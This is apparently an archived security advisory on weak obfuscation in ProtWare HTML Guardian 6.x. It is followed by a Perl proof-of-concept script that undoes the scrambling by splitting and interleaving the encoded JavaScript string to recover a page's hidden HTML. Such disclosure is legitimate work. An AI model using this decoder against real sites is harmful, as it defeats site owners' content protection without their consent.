ProtWare HTML Guardian 6.x - Encryption

source: https://www.securityfocus.com/bid/7169/info

A weakness has been reported in the encryption scheme used by ProtWare HTML Guardian. Specifically, the encryption scheme implemented obfuscates data using a simple bit shifting technique, making it trivial for attackers to reverse. 

Administrators may be relying on a false sense of security by implementing the protection supplied by HTML Guardian.

Although it has not been confirmed, it is possible that this issue affects the latest release of HTML Guardian. Earlier versions may also be affected.

#!/usr/bin/perl
#
# Written by rain_song
#
# input file should only contain the main "encrypted" string, which is the 2nd
# javascript variable in the HTML source code.
#

if( $#ARGV != 0 )
{
	print "\nWritten by rain_song";
	print "\nUsage: $0 input_file\n";
	print "\tinput_file should only contain 2nd JS variable of HTML page (it\n";
	print "\t  is the biggest variable)\n\n";
	exit( 0 );
}

open( INPUT, "<$ARGV[0]" ) or die;

$encrypted = <INPUT>;
close( INPUT );
$length = length($encrypted);

$string1 = substr( $encrypted, 0, $length/2 );
$string2 = substr( $encrypted, $length/2, $length-1 );

$i = 0;
while( $i < length($string1) )
{
	$decrypted .= substr( $string1, $i, 1 ) . substr( $string2, $i, 1 );
	$i++;
}

$decrypted =~ s/\\/\@\@/g;
$decrypted =~ s/\'/\`/g;
$decrypted =~ s/qg/\r\n/g;

print $decrypted;